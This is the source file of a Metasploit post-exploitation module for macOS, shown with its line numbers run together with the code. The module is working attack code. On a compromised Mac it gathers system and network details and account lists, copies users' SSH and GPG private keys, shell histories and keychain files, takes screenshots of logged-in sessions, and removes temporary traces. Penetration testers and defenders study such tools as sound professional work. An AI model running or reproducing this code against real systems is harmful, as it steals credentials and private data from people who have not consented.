Path: blob/master/modules/post/osx/gather/enum_osx.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::OSX::Priv8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'OS X Gather Mac OS X System Information Enumeration',15'Description' => %q{16This module gathers basic system information from Mac OS X Tiger (10.4), through17Mojave (10.14).18},19'License' => MSF_LICENSE,20'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],21'Platform' => [ 'osx' ],22'SessionTypes' => [ 'meterpreter', 'shell' ],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [ARTIFACTS_ON_DISK],26'Reliability' => []27}28)29)30end3132def run33case session.type34when /meterpreter/35host = sysinfo['Computer']36when /shell/37host = cmd_exec('hostname')38end39print_status("Running module against #{host}")40if is_root?41print_status('This session is running as root!')42end4344ver_num = get_ver45log_folder = log_folder_create46enum_conf(log_folder)47enum_accounts(log_folder, ver_num)48get_crypto_keys(log_folder)49screenshot(log_folder, ver_num)50dump_bash_history(log_folder)51get_keychains(log_folder)52end5354# parse the dslocal plist in lion55def read_ds_xml_plist(plist_content)56require 'rexml/document'5758doc = REXML::Document.new(plist_content)59keys = []6061doc.elements.each('plist/dict/key') do |element|62keys << element.text63end6465fields = {}66i = 067doc.elements.each('plist/dict/array') do |element|68data = []69fields[keys[i]] = data70element.each_element('*') do |thing|71data_set = thing.text72if data_set73data << data_set.gsub("\n\t\t", '')74else75data << data_set76end77end78i += 179end80return fields81end8283# Function for creating the folder for gathered data84def log_folder_create(log_path = nil)85# Get hostname86case session.type87when /meterpreter/88host = Rex::FileUtils.clean_path(sysinfo['Computer'])89when /shell/90host = Rex::FileUtils.clean_path(cmd_exec('hostname'))91end9293# Create Filename info to be appended to downloaded files94file_name_info = '_' + ::Time.now.strftime('%Y%m%d.%M%S')9596# Create a directory for the logs97if log_path98logs = ::File.join(log_path, 'logs', 'enum_osx', host + file_name_info)99else100logs = ::File.join(Msf::Config.log_directory, 'post', 'enum_osx', host + file_name_info)101end102103# Create the log directory104::FileUtils.mkdir_p(logs)105return logs106end107108# Checks if the target is OSX Server109def check_server110# Get the OS Name111cmd_exec('/usr/bin/sw_vers', '-productName') =~ /Server/112end113114# Enumerate the OS Version115def get_ver116# Get the OS Version117cmd_exec('/usr/bin/sw_vers', '-productVersion')118end119120def enum_conf(log_folder)121profile_datatypes = {122'OS' => 'SPSoftwareDataType',123'Network' => 'SPNetworkDataType',124'Bluetooth' => 'SPBluetoothDataType',125'Ethernet' => 'SPEthernetDataType',126'Printers' => 'SPPrintersDataType',127'USB' => 'SPUSBDataType',128'Airport' => 'SPAirPortDataType',129'Firewall' => 'SPFirewallDataType',130'Known Networks' => 'SPNetworkLocationDataType',131'Applications' => 'SPApplicationsDataType',132'Development Tools' => 'SPDeveloperToolsDataType',133'Frameworks' => 'SPFrameworksDataType',134'Logs' => 'SPLogsDataType',135'Preference Panes' => 'SPPrefPaneDataType',136'StartUp' => 'SPStartupItemDataType'137}138139shell_commands = {140'TCP Connections' => ['/usr/sbin/netstat', '-np tcp'],141'UDP Connections' => ['/usr/sbin/netstat', '-np udp'],142'Environment Variables' => ['/usr/bin/printenv', ''],143'Last Boottime' => ['/usr/bin/who', '-b'],144'Current Activity' => ['/usr/bin/who', ''],145'Process List' => ['/bin/ps', '-ea']146}147148print_status("Saving all data to #{log_folder}")149150# Enumerate first using System Profiler151profile_datatypes.each do |name, datatypes|152print_status("\tEnumerating #{name}")153returned_data = cmd_exec("/usr/sbin/system_profiler #{datatypes}")154# Save data lo log folder155file_local_write(log_folder + "//#{name}.txt", returned_data)156end157158# Enumerate using system commands159shell_commands.each do |name, command|160print_status("\tEnumerating #{name}")161command_output = cmd_exec(command[0], command[1])162# Save data lo log folder163begin164file_local_write(log_folder + "//#{name}.txt", command_output)165rescue StandardError166print_error("failed to run #{name}")167end168end169end170171def enum_accounts(log_folder, ver_num)172# Specific commands for Leopard and Snow Leopard173leopard_commands = {174'Users' => ['/usr/bin/dscacheutil', '-q user'],175'Groups' => ['/usr/bin/dscacheutil', '-q group']176}177178# Specific commands for Tiger179tiger_commands = {180'Users' => ['/usr/sbin/lookupd', '-q user'],181'Groups' => ['/usr/sbin/lookupd', '-q group']182}183184if ver_num =~ /10\.(7|6|5)/185shell_commands = leopard_commands186else187shell_commands = tiger_commands188end189shell_commands.each do |name, command|190print_status("\tEnumerating #{name}")191command_output = cmd_exec(command[0], command[1])192# Save data lo log folder193file_local_write(log_folder + "//#{name}.txt", command_output)194end195end196197# Method for getting SSH and GPG Keys198def get_crypto_keys(log_folder)199# Run commands according to the session type200if session.type =~ /shell/201202# Enumerate and retrieve files according to privilege level203if !is_root?204205# Enumerate the home folder content206home_folder_list = cmd_exec('/bin/ls -ma ~/').split(', ')207208# Check for SSH folder and extract keys if found209if home_folder_list.include?('.ssh')210print_status('.ssh Folder is present')211ssh_folder = cmd_exec('/bin/ls -ma ~/.ssh').split(', ')212ssh_folder.each do |k|213next if k =~ /^\.$|^\.\.$/214215print_status("\tDownloading #{k.strip}")216ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")217218# Save data lo log folder219file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)220end221end222223# Check for GPG and extract keys if found224if home_folder_list.include?('.gnupg')225print_status('.gnupg Folder is present')226gnugpg_folder = cmd_exec('/bin/ls -ma ~/.gnupg').split(', ')227gnugpg_folder.each do |k|228next if k =~ /^\.$|^\.\.$/229230print_status("\tDownloading #{k.strip}")231gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}")232233# Save data lo log folder234file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", gpg_file_content)235end236end237else238users = []239users_folder = cmd_exec('/bin/ls', '/Users')240users_folder.each_line do |u|241next if u.chomp =~ /Shared|\.localized/242243users << u.chomp244end245246users.each do |u|247user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')248if user_folder.include?("\.ssh")249250print_status(".ssh Folder is present for #{u}")251ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(', ')252ssh_folder.each do |k|253next if k =~ /^\.$|^\.\.$/254255print_status("\tDownloading #{k.strip}")256ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}")257258# Save data lo log folder259file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)260end261end262263next unless user_folder.include?('.gnupg')264265print_status(".gnupg Folder is present for #{u}")266gpg_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(', ')267gpg_folder.each do |k|268next if k =~ /^\.$|^\.\.$/269270print_status("\tDownloading #{k.strip}")271gpg_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}")272273# Save data lo log folder274file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", gpg_file_content)275end276end277end278end279end280281# Method for capturing screenshot of targets282def screenshot(log_folder, ver_num)283if ver_num =~ /10\.(7|6|5)/284print_status('Capturing screenshot')285picture_name = ::Time.now.strftime('%Y%m%d.%M%S')286if is_root?287print_status('Capturing screenshot for each loginwindow process since privilege is root')288if session.type =~ /shell/289loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")290loginwindow_pids.each do |pid|291print_status("\tCapturing for PID:#{pid}")292cmd_exec("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")293file_local_write(log_folder + "//screenshot_#{pid}.jpg",294cmd_exec("/bin/cat /tmp/#{pid}.jpg"))295cmd_exec("/usr/bin/srm -m -z /tmp/#{pid}.jpg")296end297end298else299cmd_exec('/usr/sbin/screencapture', "-x /tmp/#{picture_name}.jpg")300file_local_write(log_folder + '//screenshot.jpg',301cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))302cmd_exec('/usr/bin/srm', "-m -z /tmp/#{picture_name}.jpg")303end304print_status('Screenshot Captured')305end306end307308def dump_bash_history(log_folder)309print_status('Extracting history files')310users = []311users_folder = cmd_exec('/bin/ls', '/Users')312current_user = cmd_exec('/usr/bin/id', '-nu')313users_folder.each_line do |u|314next if u.chomp =~ /Shared|\.localized/315316users << u.chomp317end318319# If we are root lets get root for when sudo was used and all users320if current_user == 'root'321322# Check the root user folder323root_folder = cmd_exec('/bin/ls -ma ~/').split(', ')324root_folder.each do |f|325next unless f =~ /\.\w*_history/326327print_status("\tHistory file #{f.strip} found for root")328print_status("\tDownloading #{f.strip}")329sh_file = cmd_exec("/bin/cat ~/#{f.strip}")330331# Save data lo log folder332file_local_write(log_folder + "//root_#{f.strip}.txt", sh_file)333end334335# Getting the history files for all users336users.each do |u|337# Lets get a list of all the files on the users folder and place them in an array338user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')339user_folder.each do |f|340next unless f =~ /\.\w*_history/341342print_status("\tHistory file #{f.strip} found for #{u}")343print_status("\tDownloading #{f.strip}")344sh_file = cmd_exec("/bin/cat /Users/#{u}/#{f.strip}")345346# Save data lo log folder347file_local_write(log_folder + "//#{u}_#{f.strip}.txt", sh_file)348end349end350351else352current_user_folder = cmd_exec('/bin/ls -ma ~/').split(', ')353current_user_folder.each do |f|354next unless f =~ /\.\w*_history/355356print_status("\tHistory file #{f.strip} found for #{current_user}")357print_status("\tDownloading #{f.strip}")358sh_file = cmd_exec("/bin/cat ~/#{f.strip}")359360# Save data lo log folder361file_local_write(log_folder + "//#{current_user}_#{f.strip}.txt", sh_file)362end363end364end365366# Download configured Keychains367def get_keychains(log_folder)368users = []369users_folder = cmd_exec('/bin/ls', '/Users')370users_folder.each_line do |u|371next if u.chomp =~ /Shared|\.localized/372373users << u.chomp374end375if is_root?376users.each do |u|377print_status("Enumerating and Downloading keychains for #{u}")378keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")379keychain_files.each do |k|380keychain_file = cmd_exec("/bin/cat #{k.strip}")381382# Save data lo log folder383file_local_write(log_folder + "//#{u}#{k.strip.gsub(/\W/, '_')}", keychain_file)384end385end386else387current_user = cmd_exec('/usr/bin/id -nu')388print_status("Enumerating and Downloading keychains for #{current_user}")389keychain_files = cmd_exec('/usr/bin/security list-keychains').split("\n")390keychain_files.each do |k|391keychain_file = cmd_exec("/bin/cat #{k.strip}")392393# Save data lo log folder394file_local_write(log_folder + "//#{current_user}#{k.strip.gsub(/\W/, '_')}", keychain_file)395end396end397end398end399400401